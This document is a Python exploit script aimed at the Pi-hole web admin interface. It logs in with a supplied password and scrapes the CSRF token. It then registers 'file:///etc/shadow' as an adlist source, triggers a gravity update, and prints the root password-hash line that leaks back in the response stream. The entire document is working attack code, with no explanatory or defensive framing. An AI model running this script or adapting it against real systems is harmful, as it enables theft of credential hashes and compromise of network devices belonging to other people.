import sys import requests from bs4 import BeautifulSoup import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def log_in(base_url, password): url_login = f"{base_url}/admin/login.php" login_data = { 'pw': password } headers = { 'Content-Type': 'application/x-www-form-urlencoded', } with requests.Session() as session: session.verify = False response = session.post(url_login, data=login_data, headers=headers) if "Wrong password" in response.text: print("Login failed. Incorrect password.") return None else: print("Log In Success") return session def extract_csrf_token(html): soup = BeautifulSoup(html, 'html.parser') token = soup.find(id="token") if token: print(f"CSRF Token Obtained: {token.text.strip()}") return token.text.strip() else: print("CSRF token not found on the page.") return None def access_adlists(session, base_url): url_adlists = f"{base_url}/admin/groups-adlists.php" response = session.get(url_adlists) if response.status_code == 200: return extract_csrf_token(response.text) else: print("Error accessing 'groups-adlists'. Status code:", response.status_code) return None def add_shadow(session, base_url, csrf_token): url = f"{base_url}/admin/scripts/pi-hole/php/groups.php" data = { 'action': 'add_adlist', 'address': 'file:///etc/shadow', 'comment': '', 'token': csrf_token } headers = { 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', } response = session.post(url, data=data, headers=headers) if response.status_code == 200: print("Reading /etc/shadow file") else: print("Error adding '/etc/shadow' file. Status code:", response.status_code) def search_in_response(session, base_url): url = f"{base_url}/admin/scripts/pi-hole/php/gravity.sh.php" headers = { 'Accept': 'text/event-stream', 'Cache-Control': 'no-cache', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': f"{base_url}/admin/gravity.php", } response = session.get(url, headers=headers) if response.status_code == 200: for line in response.iter_lines(decode_unicode=True): if line.startswith("data: - \"root") and ":::" in line: # Extract only the desired part of the line desired_part = line.split('"')[1] # Split the line at the quotes and take the second element print(desired_part) break else: print("Error obtaining the response. Status code:", response.status_code) def main(): if len(sys.argv) != 3: print("Usage: script.py ") sys.exit(1) base_url = sys.argv[1] password = sys.argv[2] session = log_in(base_url, password) if session: csrf_token = access_adlists(session, base_url) if csrf_token: add_shadow(session, base_url, csrf_token) search_in_response(session, base_url) if __name__ == "__main__": main()